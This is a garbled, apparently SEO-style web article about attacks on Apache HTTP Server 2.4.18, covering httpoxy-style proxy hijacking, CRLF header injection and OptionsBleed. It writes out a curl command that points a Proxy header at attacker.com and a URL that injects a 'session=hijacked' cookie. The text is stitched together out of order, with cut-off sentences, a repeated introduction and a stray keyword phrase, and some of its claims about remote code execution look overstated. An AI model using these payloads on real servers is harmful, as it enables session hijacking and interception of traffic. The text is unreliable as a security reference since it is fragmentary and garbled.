Introduction In the world of web server security, version numbers often become shorthand for critical vulnerabilities. For system administrators and penetration testers, Apache HTTP Server 2.4.18 holds a particular, albeit complex, place in the collective memory. Released in December 2015, this version was the standard on several long-term support (LTS) Linux distributions, most notably Ubuntu 16.04 LTS (Xenial Xerus) .
curl -H "Proxy: http://attacker.com:8080" http://target/cgi-bin/api.php If api.php called an external service, the attacker could intercept or modify the response. apache httpd 2.4.18 exploit
Useful for session fixation or XSS, but again not RCE . Public exploits are scarce because the configuration must be deliberately fragile. 3. The Real RCE Threat: CVE-2017-9798 (OptionsBleed) Severity: 7.5 (High) Type: Memory Information Leak (leading to RCE in some cases) Introduction In the world of web server security,
http://target.com/login?next=/%0d%0aSet-Cookie:%20session=hijacked If the server responded with a Location: /next header containing the unsanitized value, the attacker could inject a second header. curl -H "Proxy: http://attacker
While not a direct RCE, memory leaks can bypass ASLR (Address Space Layout Randomization), making it easier to chain with other exploits. In 2017, researchers demonstrated that by triggering OptionsBleed repeatedly, one could reconstruct HTTP/2 connection memory.
This required specific configurations: mod_rewrite with rules that reflected user input into the Location or Set-Cookie headers without sanitization.